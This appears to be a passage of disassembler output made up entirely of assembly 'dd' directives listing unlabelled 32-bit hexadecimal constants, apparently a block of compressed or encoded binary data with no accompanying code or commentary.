		dd 1668F10Fh, 0AE00541Fh, 0A98ECC37h, 0D9EC002Ch, 0A08DEDF5h
		dd 60A61754h, 0F0941C00h, 6EF4DD47h, 4D853D1h, 0DC8AD438h
		dd 680CDBD6h, 0EA010308h, 51E4F6DEh, 0C60F8574h, 0E2F10823h
		dd 2E11BB9h, 4EC7F1BEh,	24E491A0h, 4394CCB3h, 83DCA68h
		dd 4409B766h, 30AD9FF0h, 0FB59EF99h, 641094D2h,	4A450931h
		dd 8681481h, 70128ACFh,	4ABB342h, 0E09CDBC3h, 0A45BB34Ah
		dd 0A3342B0Ch, 0C50208Ch, 9562C00Fh, 31CCBC28h,	89BE09BFh
		dd 24B812B9h, 91BA48BBh, 44A422A5h, 0A189A6A7h,	0A324A012h
		dd 0CD91A248h, 0CF44CC22h, 0F0C989CEh, 8D015ACBh, 8B570AFFh
		dd 0FC5137C1h, 0B89487F0h, 0BAB284CEh, 0D1590497h, 80DB0852h
		dd 8412EEBCh, 0F53D03BDh, 0F2498D81h, 0F0884CE3h, 0AA091A9Fh
		dd 7BC84F3h, 2D47FA2Fh,	0D58701C7h, 0DDC70947h,	25BDBB81h
		dd 644881F0h, 6C40AEh, 0F34A1A9Ah, 49BC09EFh, 484DA420h
		dd 7F04E87Fh, 2B8659F5h, 531B8830h, 796088Fh, 29BEB5D5h
		dd 25C38CEh, 0F96FE625h, 0E0008303h, 64FF6EF4h,	50FE09E1h
		dd 0FE044218h, 6BF4B9ABh, 0BBCF0FF6h, 0BA816E89h, 0BB4938A6h
		dd 38B02921h, 0FDB70E5Ch, 0FE41E342h, 0F08F3A02h, 18C0F725h
		dd 9307D66Ah, 0F5F0055Dh, 0FF4DDC9h, 81800F1Ch,	8BFA8448h
		dd 28871329h, 0E4A9CC17h, 95795CC0h, 28C38331h,	7ECD2BA8h
		dd 3FBF830h, 92645330h,	9DC0ACE1h, 6200830Fh, 8EED54D9h
		dd 0E20CC2h, 0E652E9C3h, 0C7F38C6Fh, 5000E8E8h,	54FFD8F7h
		dd 7F46BF1h, 497CE62Eh,	11DCC71Eh, 0D4D85027h, 0DE03EA25h
		dd 7A8330F5h, 0F9CDE3E8h, 0FEB28DAh, 69F03840h,	0C3CA2C83h
		dd 40932AA2h, 0C4F521E0h, 0C21FEF78h, 1E3B8ABDh, 3029DAD8h
		dd 99C198B3h, 1C4CE63Eh, 0F0DC10CBh, 0E4E0157h,	21DAC3ECh
		dd 604DC1D1h, 0FBB7EC0Ah, 0B043A4F4h, 0FA4197AFh, 1859496Eh
		dd 95A4CC7Eh, 0ACE79B01h, 833E246Eh, 28C22C58h,	1FC454DCh
		dd 3CB0FEDFh, 0B1AD1F85h, 4E3833F6h, 0CD035FE0h, 0C2EF3207h
		dd 144A50ECh, 82403852h, 0EDCD00B1h, 2AFD7A5Eh,	0F215DCE1h
		dd 7DF8EC1Fh, 0E5216E09h, 759C95B6h, 5018FF80h,	70C8889h
		dd 7966251h, 1FDEA083h,	0D20094F0h, 9FC0E627h, 4DD95EE1h
		dd 307400DCh, 0F3285F3Eh, 0CD496EA5h, 2A017898h, 1F9AABF4h
		dd 7DDA6FE7h, 84D2F007h, 14A880A6h, 33F1B1F0h, 0C26C5020h
		dd 0C4F15709h, 50EC0DD8h, 1AAE7458h, 90F7ED9Ch,	60D71CC5h
		dd 2DEC7EB7h, 0DAC2ED00h, 0F56D5613h, 98599550h, 5880DE64h
		dd 2C21F51Dh, 1E546BEAh, 2FF909ADh, 54DFD081h, 50FCE0AFh
		dd 3E4089FDh, 13C080F6h, 1EE9C5F7h, 9D94A327h, 103524h
		dd 505DA78Ch, 0F10FC0E7h, 626EEA2Dh, 6169E221h,	0A9E0A4FCh
		dd 18A09023h, 10F728F0h, 60C4EB27h, 0AC86EA55h,	0F4690958h
		dd 8C55E62Ch, 1DA940D8h, 1868EC38h, 52AEC850h, 0D4B52AF1h
		dd 94D960AFh, 3E64A037h, 0BFD0CFAAh, 63A7F8D4h,	0A3C2E86Dh
		dd 0F4FED4ECh, 13F59516h, 0C0B36063h, 4F7DCCEh,	0D86EA354h
		dd 2AB89D21h, 0FCD7B0E3h, 2AF30E5Ch, 0F289F7h, 51AEC3E8h
		dd 8085F9FAh, 85F169ECh, 7071FF7Ch, 0C3D4903h, 16B7E8AFh
		dd 422EE88Eh, 0DAED34C4h, 67E6B4C1h, 0DEA309E4h, 0E10C99E9h
		dd 2C249860h, 1DDCD9F3h, 3AD824E6h, 0F08D286Fh,	20C43520h
		dd 8BE7A31Ch, 0AF66E09h, 6352E4C4h, 0C0384DDCh,	0F1A08905h
		dd 0C020C027h, 1098F62Ah, 8F69546Fh, 2FEE87ECh,	20C86E45h
		dd 2C3E52F3h, 2E3C1FD2h, 69F00F40h, 348621C9h, 6F1E5820h
		dd 0C0872EA9h, 0B0CC24DEh, 0A08814EDh, 5D218FCh, 0E2D2F450h
		dd 26ACFF20h, 0E2145515h, 0FAE0EB04h, 0E01E959h, 41B28768h
		dd 34E08649h, 1C31525Fh
		dd 3A84F0C5h, 835D0018h, 0D2814830h, 2B421434h,	0EF6880h
		dd 3AA530F3h, 0FAF8152h, 0A42B503Bh, 0AE834E40h, 327C423Eh
		dd 0C9636186h, 40CF3053h, 65660250h, 6203CE74h,	553B8587h
		dd 4E3AE0F5h, 3AF7C29h,	307F7D42h, 39E03646h, 0F4762B48h
		dd 0ECE94F7Ah, 823A2C55h, 0D1747545h, 0A9905300h, 0AC874E34h
		dd 304A073Ch, 0A07136AAh, 37463986h, 745A803h, 0A119A394h
		dd 9C408590h, 3733F387h, 0A0212C4Fh, 3455367Ch,	4E03B574h
		dd 5302AA2Ah, 43980D2Dh, 0D0C8AE87h, 57601B13h,	88640F68h
		dd 463C28B6h, 344BF580h, 30551FB0h, 1D36B33Ch, 5182B266h
		dd 1D45B52Ch, 852A4B40h, 30F41445h, 3601A886h, 2B461AAFh
		dd 0F5F040B0h, 6E7412D2h, 5530CE00h, 5002862Ah,	21AB672Dh
		dd 8753A0AEh, 2CE83FB6h, 73CA906h, 5090AB81h, 0C051C831h
		dd 8567E260h, 38A63CB2h, 0A5F910A5h, 7F87C8F3h,	81E8C30Fh
		dd 28014439h, 0F38CF721h, 1C215525h, 0AB82DC00h, 204B6039h
		dd 85815F45h, 144413Ah,	0F5493BAEh, 0E8923A7Fh,	0C87C50AFh
		dd 51C4272Ah, 8C088064h, 960624E8h, 24491E0Ch, 2C41007Ch
		dd 650746AAh, 50887483h, 2888DC2Fh, 83D06402h, 0C0A8A3D8h
		dd 26A92965h, 3C044C3Fh, 780F728h, 0E8305441h, 0A36F5D8h
		dd 98F053B0h, 48446007h, 42D09567h, 92F06CFh, 73D1D28h
		dd 0C8543E33h, 58545239h, 223EDC53h, 661308E3h,	7C24487Bh
		dd 0AB801CE7h, 8434072Fh, 444B4832h, 8AF44129h,	9C78B336h
		dd 4874FE55h, 0C8402052h, 0FB27CF5h, 36862C71h,	6AE8348Ch
		dd 26F0C0D0h, 468202Bh,	0B424DD5Fh, 82534402h, 59DC60B6h
		dd 49393BA4h, 0E3571400h, 0BEC58ACEh, 3811FD3Fh, 0A9E800A2h
		dd 39874421h, 0D918CFB3h, 0F25024h, 325C53CEh, 100E6064h
		dd 0F54574Ch, 91A8FC5Ah, 18C60C18h, 0D9007F55h,	0CF42B8A3h
		dd 1450DDh, 0A866BE36h,	0BABDE757h, 8BA8E665h, 0FAEDCA80h
		dd 98A900D7h, 50DBAF8Fh, 0FB0391F9h, 9260585Dh,	26D7B027h
		dd 12E41481h, 88F120F4h, 188E18B2h, 20F17A55h, 4230A00Dh
		dd 0A28D90C9h, 30D47F40h, 64D83EADh, 0CC03DF75h, 8D33FE06h
		dd 4EC011A8h, 2E3501F4h, 0B5683AD6h, 52E28C40h,	0FA40226h
		dd 0E13B15ACh, 3A5DBCA0h, 0AA0205F3h, 0A27FA21h, 241CB1FFh
		dd 0D4909F02h, 96005AC8h, 0AB11FED6h, 0A9B5E73h, 2B652738h
		dd 0FF0241E8h, 6359F016h, 610FF119h, 2180CD09h,	2016F722h
		dd 97008EA6h, 0F12DE1B6h, 3CAC2854h, 7C54EAC8h,	59FD00CEh
		dd 0A934D4E7h, 0D9527365h, 19B4B2E0h, 87998313h, 8004FF4Dh
		dd 14E6D7D8h, 1CA40A9Fh, 6A0DB6C8h, 0D401F127h,	3C18B172h
		dd 0F0EB5900h, 0D01614C0h, 99E2401Eh, 622F70CFh, 0A056CF15h
		dd 9F96F598h, 0A7CC07F9h, 0ECD42306h, 21C02208h, 419FA290h
		dd 45C32855h, 61B102D0h, 623C727Dh, 981174B7h, 7C8E39ACh
		dd 606F73ADh, 0BF459D8h, 8E075AE4h, 9351032Eh, 0FF08BDh
		dd 0E413D121h, 0AB8E92B4h, 0A2748FEAh, 0F152C878h, 0B4A507E8h
		dd 4F70DE25h, 49EE6D95h, 80149844h, 0C011EC0Eh,	0CF1479E5h
		dd 249166F6h, 0B4C4409Eh, 40CDBA73h, 43473CB8h,	8B1F6EB1h
		dd 0EB070767h, 69C05346h, 0EC06E6h, 7861B0DDh, 0AE09F294h
		dd 385A9824h, 0FB15AB60h, 0F1109961h, 23C81F23h, 55900C5Eh
		dd 1340493Ah, 0DDFAA014h, 4FCD155Ch, 60351C90h,	16771040h
		dd 6991DA6h, 9CA1A306h,	6606D0DBh, 46264DEEh, 0A54E3E48h
		dd 443DE99Dh, 0C00DC037h, 1C91AB90h, 6842F141h,	9F983013h
		dd 77CCF711h, 92821D88h, 80FF9FA4h, 4A10B9EDh, 0FCE04993h
		dd 6877112h, 681D3808h,	0B8325908h, 22FA01DDh, 0D1D0ADACh
		dd 0B4112001h, 129F4400h, 34FF0FF3h, 3E581852h,	4A6FB81Dh
		dd 4EAB4100h, 36E6A653h, 2197ED5h, 67FCB196h, 0A480F3BEh
		dd 0F03ACCF6h, 9700E60h, 50ADD0AAh, 11F99CE8h, 4CCE90h
		dd 6369C45h, 1653099Fh,	4993A31h, 30B2434h, 81909333h
		dd 44525114h, 10908463h, 0FC9F9D60h, 448CCC73h,	0A57D9718h
		dd 31695C00h, 9D5616B8h, 0E7080030h, 2D75730Bh,	370032ECh
		dd 0D2A396B9h, 0A221067h, 3DEC0D8h, 6587038Ch, 80183F4Dh
		dd 285927CEh, 4C670081h, 625C5A29h, 83009FAEh, 240A1EA0h
		dd 2F76A42h, 89C3B466h,	0B880FCCCh, 4785596Eh, 0E2BCCE50h
		dd 1E28F749h, 5E16E091h, 9DC84049h, 80CA11F0h, 0D1654017h
		dd 0C97500EEh, 7CCD2B2Dh, 6D1B8DDCh, 8DC01AAAh,	97AE6C49h
		dd 80DD9138h, 4DECBB53h, 4A631405h, 7010F8B1h, 0C9573E0Dh
		dd 67C89938h, 1608FD18h, 0C4F3599Dh, 0F52040C9h, 0DF6916h
		dd 382C80F6h, 6125C228h, 0FC81C502h, 0A050CD90h, 605452C0h
		dd 8ECF04ACh, 80E88A65h, 3ACEF440h, 292DC820h, 89ACE10Bh
		dd 0C090B9D2h, 371E79B4h, 538138FCh, 5815A9C9h,	5CC190D0h
		dd 1C00706Ch, 0D441671Ah, 0ADE8D106h, 89C90C60h, 0FA3F4AA3h
		dd 7AF401C6h, 398FC162h, 0AC1AECFCh, 129E860h, 3CCCB412h
		dd 150064CAh, 3C05D804h, 984C4A61h, 70B0094Fh, 0CDA0315Ch
		dd 74E100FBh, 641D0E5h,	0BF007220h, 737D441Ch, 48C31ED5h
		dd 0FBC3ACA9h, 0D9FA9A59h, 640FEC44h, 0A08B24CEh, 0C192CC16h
		dd 1888A202h, 65AE80h, 8FD23F40h, 0B4445F7Eh, 624FB504h
		dd 60D87418h, 38FB0192h, 580CC0C5h, 232027D8h, 0E40701F3h
		dd 180E8E5Eh, 0FD588E1h, 564BE400h, 3E60BCF8h, 0B58E1615h
		dd 0C00C02DDh, 0B80ACC26h, 9AB803C0h, 42099F8h,	0D08F4AF3h
		dd 9D4414E0h, 0B7A2500h, 658DFEACh, 3820602Eh, 0EF5AB8ADh
		dd 15644C82h, 20944A5Fh, 0DB981Ch, 23C0D439h, 702A662h
		dd 2941FAA8h, 0ADCC98F9h, 0F4422BC8h, 0B8250250h, 0AB10E17Ah
		dd 0C6FAF0A0h, 69D82B10h, 8CBDED00h, 0D0AE75D7h, 0A040E19Eh
		dd 0B2065D8Dh, 7009330h, 7FF06181h, 2D479F60h, 0B02E7975h
		dd 0F6111006h, 5DE40A81h, 1CDE8Eh, 8BE412D4h, 1AD58B5h
		dd 2E203490h, 0C22701F4h, 2FA24FFBh, 54F440BEh,	9592C3Fh
		dd 0CE760048h, 8A25BFBh, 0AC20D40Ah, 8845025h, 8E1098A4h
		dd 0D4DE553Ah, 1E2098BCh, 0B4AC00D3h, 0B590EDDCh, 801F89Dh
		dd 41FBB724h, 1032FFCCh, 0FE016423h, 6B599E16h,	2188C818h
		dd 0B81600F6h, 4F1CCC9Fh, 4C2820F0h, 50CAB437h,	0B0B2685Dh
		dd 0E144C818h, 91D87639h, 0A25C0390h, 100D1684h, 61D22DF9h
		dd 0A640D0h, 2759494Eh,	4C07DE5Bh, 6F1AAE00h, 0A3292FC3h
		dd 6B48B16Ah, 1D914095h, 77FE6F87h, 5EF6405Dh, 0ACA0B6FCh
		dd 5362ADDBh, 90964A29h, 0A6448Ch, 4EEB80AAh, 9B5CA8F9h
		dd 0A4825290h, 8260B44Fh, 1F62A342h, 0D2ABBAE4h, 106C378Ah
		dd 4112B2E5h, 0C06CE02h, 25F2B80Eh, 10D483B3h, 0C0916C4h
		dd 0CF60318Fh, 0CD17B080h, 0AB2C4EFDh, 0CEA93002h, 0E507298Ah
		dd 0C2582C78h, 33A170h,	615AE248h, 6D8FE5D8h, 0C8F55E24h
		dd 0E3AED084h, 0D9154304h, 0E83AF5F4h, 694C05A9h, 0C02E0AE0h
		dd 2C998E8h, 80BF898h, 0C2574738h, 20480C78h, 0CCAAEC62h
		dd 37548880h, 41C613E4h, 2CC128A2h, 550B166h, 2207339Dh
		dd 0CC84D544h, 16F96163h, 0AC537470h, 24D444CCh, 10167100h
		dd 19BC3FE2h, 4EF707AAh, 206C83ACh, 62273753h, 0F80428A4h
		dd 5B599C16h, 2300988Eh, 3E6B1670h, 2B150886h, 84848A61h
		dd 10A67457h, 0C482476h, 0F5D8C294h, 883AD503h,	911F966h
		dd 3CD127E2h, 31EB6CC1h
		dd 3EA4716Ch, 7947FE0h,	6586E977h, 0D1F7646Ah, 0D0D6C8h
		dd 7A7562A4h, 46E113C4h, 0C24CD0ACh, 2C0B083Bh,	828BC501h
		dd 80B2A42Ch, 554D41C0h, 0C0A0C4B4h, 52BB0113h,	0D66161E3h
		dd 0B1FAB403h, 74650BC8h, 7F5029h, 6FE736ECh, 7A802C78h
		dd 0EDD1900h, 3D6EF797h, 1CE258B7h, 5954B610h, 26CC1020h
		dd 0FA4D0801h, 36F1E2ACh, 0E40D02BCh, 1C3E8E58h, 0E415CF04h
		dd 7B831A41h, 32E1004Dh, 1DED3EC1h, 2B4C3161h, 0A80D2CB0h
		dd 8CDCE60Ah, 5B68B207h, 0B647F9D0h, 0CE90C94Dh, 6D500890h
		dd 37AD3E03h, 0F865672Ah, 0C1FDD6BCh, 0E499F222h, 0A18C47F3h
		dd 81159C3Ah, 4C51E2C0h, 842C6D95h, 3830DEC8h, 0D4527669h
		dd 2E10A860h, 4D8704F9h, 68E606A3h, 106530C4h, 554E120h
		dd 4409DF18h, 2103703Fh, 0EACE73Ch, 20BF9850h, 0D4CB008Bh
		dd 7A636AF3h, 1496A3DBh, 5BFC3581h, 3835F03Ah, 5F814C29h
		dd 20BB9333h, 0A103ACB6h, 5C680DCFh, 6CE19C92h,	0ECEF785Ch
		dd 28302C5Ah, 8D335018h, 0B07C30E9h, 817D613Eh,	0FDAC12EFh
		dd 90F56589h, 9B466420h, 2AC83CCh, 0A1C2A3B6h, 8980878h
		dd 9C020F46h, 97CCFB9Fh, 96102031h, 0A10C9FA8h,	59D02C33h
		dd 316C002Bh, 4F2EB047h, 290175B2h, 412382FDh, 0BDD367BAh
		dd 16C2FC87h, 0A984804Ch, 52589C0h, 660950DBh, 27F4D124h
		dd 0A613D8BAh, 17B90448h, 54164F94h, 50490000h,	59D2CBA2h
		dd 9C1098AEh, 855F3822h, 0A1DB1251h, 324A5C88h,	69A1E58Ch
		dd 128FC682h, 24F5FC60h, 889078D3h, 90DE978Eh, 2CC42244h
		dd 9BD02718h, 315D0D21h, 0A3B84162h, 142043B8h,	49907030h
		dd 63745F46h, 0D49A9103h, 9110F1DCh, 665015E0h,	2B393692h
		dd 2CB1A169h, 0AF18C9D1h, 7745900h, 98AE3DB1h, 0CCE549A2h
		dd 0EC7C5E14h, 9B031223h, 0D4CCFE9Fh, 95201962h, 14D9FA3h
		dd 815132D3h, 0E09DEAFFh, 99C012ADh, 0A235430Ch, 0AA57178Dh
		dd 5AB44710h, 4A22A001h, 206FF890h, 5CF681A0h, 1AAA5854h
		dd 0CD8088E4h, 271C021h, 0EB0DBE9Dh, 57F74000h,	15E59478h
		dd 644B0105h, 0A89161DBh, 29E4302Eh, 9CD05286h,	826DF509h
		dd 48B1E48Bh, 0BC4838D1h, 70F8CC7h, 0E3C6FDD9h,	8B2BAC34h
		dd 0A32100DAh, 876DCE39h, 0EE7BE976h, 0AB054400h, 0F8B1FC64h
		dd 0B4A852DDh, 0AE273058h, 59095C18h, 0CD21B263h, 91290025h
		dd 9F1EBA4Eh, 1F00F8ECh, 0EA30688Fh, 59397559h,	7185749Bh
		dd 377082DCh, 0CAE41445h, 0E85B160h, 3AF57B09h,	95C5823h
		dd 0CB96A0ABh, 265DE8C0h, 13CC1B49h, 0F04FBA98h, 24F28413h
		dd 0F00024F6h, 439E1E6Ch, 6607A2A0h, 0AE0225EFh, 96FFAD30h
		dd 0A9B81F36h, 0CF2E4CFCh, 0E00E789h, 52D803F1h, 45A059h
		dd 6A1DA285h, 0DBB2B30Bh, 5AE01B60h, 9EE658AAh,	6313BFA8h
		dd 1A6806DCh, 4C04884Bh, 23BAA655h, 5F062890h, 0AE070118h
		dd 0A5E6EF61h, 0BC089591h, 676400B8h, 9B471E18h, 0BF7F3B22h
		dd 0D0CB398Fh, 0A0829D6Bh, 6502F4B8h, 0E49CC5ADh, 0F23D60DDh
		dd 848301FEh, 4AFDC3A9h, 0D0B0D739h, 149821EDh,	0F9809491h
		dd 7A7733E4h, 79CD0E5Fh, 9640E960h, 9AEE95A3h, 0D0AA1200h
		dd 50DAF5FAh, 0AE5518EBh, 4AF6F81Fh, 3C45944Ah,	20C1D358h
		dd 3C292990h, 0FF2C0F07h, 810777A3h, 20696798h,	94442D18h
		dd 0A0DF51AEh, 244EC2D3h, 0AD3481A6h, 12B0200Fh, 52A0D813h
		dd 658B6080h, 0A588B82Ah, 0A03A01B0h, 0F6A6465Bh, 8BC93CD1h
		dd 20440C4Ch, 4184AA0Ah, 0EC406FE4h, 7B3B65B8h,	0E38F0699h
		dd 900F92B9h, 0F720A498h, 22BF0113h, 0F92DB1D4h, 0AB444067h
		dd 0D1411AB8h, 9C7A3C60h, 44682810h, 90552B8Ah,	4891EC94h
		dd 6118D358h, 0FCD2B679h, 88091C54h, 5E2830A5h,	0AE0A1118h
		dd 80B18859h, 0B7186663h, 8B314A33h, 2DBA69DBh,	0D6CA4180h
		dd 0F77F25AFh, 0DECFB600h, 566BB15Fh, 0C6309088h, 39E32B70h
		dd 7F76EA02h, 60866098h, 187B6BD8h, 28F8FBB3h, 4D514B3Fh
		dd 0B8A42CD8h, 0A1628CE0h, 64D52770h, 243905E0h, 0C7F05D6Ch
		dd 88D36524h, 88B4B4A4h, 8E65EF80h, 0AA518A6Dh,	8D0899E4h
		dd 4824CEF1h, 0F6FD74A3h, 0C616F4A1h, 69E5AC60h, 4103EE7Eh
		dd 5D670C51h, 0F61C9839h, 0F5F40215h, 0A75FB263h, 0AD5A9040h
		dd 7BCC7182h, 0B5A60FCh, 0B8AE1F5Eh, 0D4DED3A2h, 0E6F20668h
		dd 2B7859DDh, 0AB08F254h, 0E182C810h, 0B55C0909h, 1048CC91h
		dd 0DF662Dh, 0AA2F466Ah, 5A9B61A8h, 68E3F924h, 2AC8AD02h
		dd 0A028A3C9h, 0B400F492h, 38985468h, 0C0AC460Dh, 0F8719962h
		dd 1EBCBC2Ch, 71768Ch, 5BF8E146h, 0CE415767h, 0AEC4B48h
		dd 0A4D01DD5h, 4421E608h, 0E40960F5h, 1E8E245Ch, 11D37014h
		dd 0A1A4E407h, 3210D661h, 35A249Bh, 0C8AE42A3h,	0D812DE72h
		dd 5840D52Ch, 0EFB034CDh, 70A5010Bh, 27CB7507h,	39E0E089h
		dd 0EB0C2C01h, 0A7DE3017h, 5F04C87Dh, 0E431ABB6h, 8A17CEC0h
		dd 944025D5h, 650BFADFh, 4631C2A2h, 0CC60F0C1h,	348012C0h
		dd 0BE750187h, 27D7F83Fh, 500072CEh, 1D41EE48h,	0C3C98401h
		dd 0C0DD880Fh, 6C651FA5h, 56526E00h, 0ADFECEB0h, 8D330B76h
		dd 38A24CACh, 8C44203Eh, 85E3AE20h, 63DEC438h, 283BB852h
		dd 0BA442470h, 7D69024h, 0CC7657B2h, 0F965E48Eh, 8C6098F0h
		dd 9A16FA04h, 0A0AC4B59h, 16F225B0h, 57C8D600h,	23B105A8h
		dd 4A20069Eh, 490FD328h, 0A468B205h, 28A52B84h,	4F5FE0h
		dd 59E4DB82h, 616DD4AEh, 1E96FA48h, 0E540513Dh,	7757B104h
		dd 8030985Ch, 802112BCh, 74099894h, 915B0C65h, 30304688h
		dd 420F401Ch, 0AE0A34F0h, 98C927E6h, 0F0730941h, 94394460h
		dd 74E02CE8h, 0C100C946h, 3ECD4E44h, 0B890F69Ch, 99918FBh
		dd 7FCCF89Fh, 93836C65h, 0DECA9FA1h, 0D134B1D8h, 15E18BDh
		dd 58BCF231h, 80E3AC41h, 80F8C8C1h, 0F3F0BB9h, 669E1AF3h
		dd 401B6380h, 0D49A7A01h, 48DED122h, 9280B82Bh,	43C30CFBh
		dd 4A002D7Fh, 0BECCFCDFh, 19E7DBBh, 685DDD6Eh, 6026376Fh
		dd 614C9970h, 0D0984CE5h, 0B94D0CC0h, 3DC92Eh, 0AD4C30EBh
		dd 0FC9D7EA9h, 10A43458h, 0F864F24Ah, 185D60A4h, 91AE2309h
		dd 6607BA11h, 0C3671865h, 15E004C7h, 0F50DA397h, 0D0D783CDh
		dd 1988C40Eh, 18D721C0h, 0D14000EAh, 0CE63368Ah, 0A430DE53h
		dd 57FC2954h, 103C9760h, 0E710C943h, 0B9AC5013h, 5D02B4B6h
		dd 5E08D13Ah, 1422D970h, 46862038h, 0A1AD3003h,	7877B55h
		dd 12662E35h, 9010CBFBh, 0C10FC96Ch, 0C3BB7647h, 0A004914Dh
		dd 7A41CCh, 0AE93D61h, 0CB1A749Dh, 0D5C063Bh, 0D9CCAA57h
		dd 3011A802h, 0FD129F9Ah, 20F2C7CCh, 9FA694C0h,	0D12CC848h
		dd 0F21D80E8h, 440CC465h, 71009C25h, 0FDCC5A44h, 7341963h
		dd 0C7A703EFh, 331FFAh,	0D0DFAA84h, 0DD4ED392h,	6509A020h
		dd 91F0962Ch, 51F60053h, 62173956h, 94A12FFCh, 3C2D6000h
		dd 0B48C2C6h, 4AE21354h, 0BCA6E052h, 9ECAF076h,	4E6584D0h
		dd 0F6688296h, 61041460h, 4F125894h, 0FAA60847h, 0CC4010A5h
		dd 0D80E6D7h, 70A125A3h, 3029F00Dh, 8A7820F0h, 84401557h
		dd 9120F72Ah, 7182F840h, 86CA6D0h, 4E00DF4Ch, 0CE2C3554h
		dd 0A2503A1Bh, 6B0CFAEh, 6091FC65h, 58783CEFh, 4C1F0581h
		dd 0A804D87Fh, 0B65F7A6h, 0F04056C8h, 0E0BAFA01h, 5310D660h
		dd 3E58514Fh, 54F8F056h, 1A5BC25h, 41ED19B2h, 34D92B93h
		dd 0A3005220h, 17C935D2h
		dd 2A5C6337h, 1C887432h, 0E66D935Fh, 4A268314h,	3948ED90h
		dd 8CC8E8C0h, 3405A201h, 0A4764AC3h, 0C1E492CCh, 3DC06121h
		dd 2028CD5Bh, 605BFFB0h, 2C5CC23h, 0CE484269h, 1C67DD5Fh
		dd 2E6718C4h, 1F043580h, 1B004F15h, 44A55857h, 1475069Eh
		dd 0B8B8A407h, 0BE08293h, 6255D520h, 0B2D075AAh, 2030B068h
		dd 289920BEh, 0F6181ED9h, 0D3EA4E4h, 0BBF0044h,	0BE347E9Dh
		dd 132F3DFEh, 0D664988Ah, 575402B8h, 80C40BA4h,	806947A2h
		dd 0BDD2D016h, 9D658C1Fh, 58E8DFBAh, 0FB361200h, 0AF80B25Eh
		dd 0C5943500h, 4406CEDEh, 6230BCF8h, 5C613B74h,	0CA43C3Eh
		dd 0A957A9DBh, 375112C3h, 0C8E088D8h, 1378067Bh, 7877710Eh
		dd 0B63E035h, 2C9C4AFh,	0D788ADC6h, 3C51A7C0h, 7660FCF3h
		dd 9E060906h, 14CF6B02h, 2DD420B0h, 6298E4A0h, 9B04549Ah
		dd 0C278A25Dh, 394AA880h, 40D89492h, 0FFBA0E57h, 2D256802h
		dd 807A558Bh, 71A43EABh, 8ACE0979h, 0D81005E5h,	0A499EA68h
		dd 88181FF1h, 28E80200h, 44CC3F03h, 96FD0A9Dh, 0CAB368h
		dd 14D0AE12h, 5009DAF4h, 0D2664D8Bh, 9C8DF8D8h,	47931FECh
		dd 0D2234B3Fh, 344035F6h, 0AB801E0Ah, 0EB25A98h, 91E6B3E4h
		dd 0C090F952h, 0A0D79402h, 59DDD50Eh, 18D8D19Ch, 714C016Bh
		dd 0C95D7658h, 0D48FE55Fh, 80CB2362h, 34D8826Fh, 0D00B0613h
		dd 70C53E7Dh, 64A5B9B4h, 93004067h, 4558772h, 0CA0142BFh
		dd 148990C2h, 0D83045DEh, 591140AAh, 0A07C3A27h, 9A5DB8B8h
		dd 0F4A89725h, 6DEB419Ch, 7808DA02h, 0D746D4h, 0CFA8569Eh
		dd 4AD88F5h, 0B9F0D80Dh, 8E9CD028h, 8F0083F1h, 17492D6Bh
		dd 103DF8Ch, 8B56B34Eh,	304CBC65h, 0F949F5FCh, 0C1E21044h
		dd 239C2F5Bh, 45130018h, 55E7ACF3h, 0BCEC7D72h,	0FA758E0Ah
		dd 40008453h, 0E73D34D4h, 14391633h, 884C8E68h,	5F27C0DCh
		dd 2C015B38h, 288EC393h, 0B459EEB7h, 402ED1F5h,	0FC775924h
		dd 0DB00EC2Eh, 0B8EEFD51h, 0AD9FB98h, 99DF7DCCh, 851C269Ch
		dd 11AA5D8Eh, 8DC7D0DCh, 0ADEB6455h, 69E83478h,	0E1F260E2h
		dd 0E5EC830h, 62CE3BD1h, 80E802CBh, 0AE40C20Fh,	4E46043Eh
		dd 0D86B0C65h, 0B207FD60h, 6AB67E4Ah, 90283B70h, 8D851CA1h
		dd 0A67845DDh, 0AE8462FEh, 0D891B097h, 0A8BFF183h, 0B9B13088h
		dd 0FC6BAD09h, 0B0E87A47h, 0D24620B4h, 1E5F0490h, 218C2010h
		dd 48EDA5E4h, 8C106D47h, 0C00BAD6Eh, 1C384E19h,	9301D0C5h
		dd 5D8D57D4h, 70924876h, 0A2C01FF7h, 91F01795h,	199480D5h
		dd 5A5F4CF7h, 64141284h, 88A48E4Ch, 0C1B2C021h,	0A0B9AE3Ch
		dd 0C020F4A0h, 4FBA4F13h, 446082CCh, 2E5E16F0h,	26FF3800h
		dd 1CF7A1EFh, 0B420474h, 0C30728CEh, 4EC3654h, 0B8C1978Dh
		dd 0F055E85Eh, 0FE01A06Eh, 0C801E3EFh, 7C46E98Eh, 28F62C64h
		dd 8429651Fh, 245F5640h, 5718C227h, 40DC04AAh, 0DC076C26h
		dd 0B9C2FDB1h, 403C6A2Bh, 1D88CD86h, 0E4CC56h, 5C21FA1Bh
		dd 51C94EA2h, 0F3408E35h, 0A444CC52h, 5807127Ah, 6D90E0CBh
		dd 0A099235Ah, 52BAB442h, 627100C8h, 18D8ABB9h,	0A30ADD2Dh
		dd 0F0DC2E91h, 9DDB0580h, 24B85C0h, 0F8D2A873h,	50DA2E64h
		dd 0C538CA79h, 5B2570EDh, 0F9781AB6h, 18227930h, 0C1644EC6h
		dd 0A70CD0C6h, 44EC67B0h, 96CF60E0h, 0CC805A0h,	270FF8Fh
		dd 20A26D98h, 8AE50D07h, 4B3D4A0h, 0EEC8AC08h, 0E6921DF7h
		dd 44B99C82h, 99CC0034h, 5AD479DBh, 9A00C660h, 0F05953FEh
		dd 4A6F64Ch, 0E062CC06h, 9A44C822h, 144CC140h, 0F0B92857h
		dd 0B7A61200h, 7E78D9D6h, 0A2500206h, 828C476h,	0B47C5EF6h
		dd 0E4F19E81h, 102045B3h, 0D50BA0Ch, 1449ABDBh,	50A073E8h
		dd 10403428h, 0DE5313D0h, 0CCBCE4A1h, 85998A2Fh, 0AC0E4204h
		dd 0F8E838DAh, 0B8A70943h, 5859217Bh, 0D5394B18h, 0CE2D0C51h
		dd 4410DF77h, 0B84D8F1Ah, 1141FDA0h, 60442BF0h,	27421B65h
		dd 0C4A5EFD4h, 31F0F42Ch, 0BBC06703h, 0E803DE76h, 0E2198A0h
		dd 0DFE10EE3h, 0BC819364h, 0D100969Ch, 0E9482AFAh, 585C0461h
		dd 0B2930560h, 2EF62244h, 127CE957h, 0B7E8049Bh, 61B200F4h
		dd 26B562C8h, 832C63B9h, 0C7EA980Dh, 12BF80Ah, 9B1F027h
		dd 5EC43CE2h, 975B3h, 0B1A0F48Dh, 9AC9470Bh, 0F2E8D250h
		dd 743ACC88h, 2EFC41D4h, 4D716820h, 498C7E81h, 338000C9h
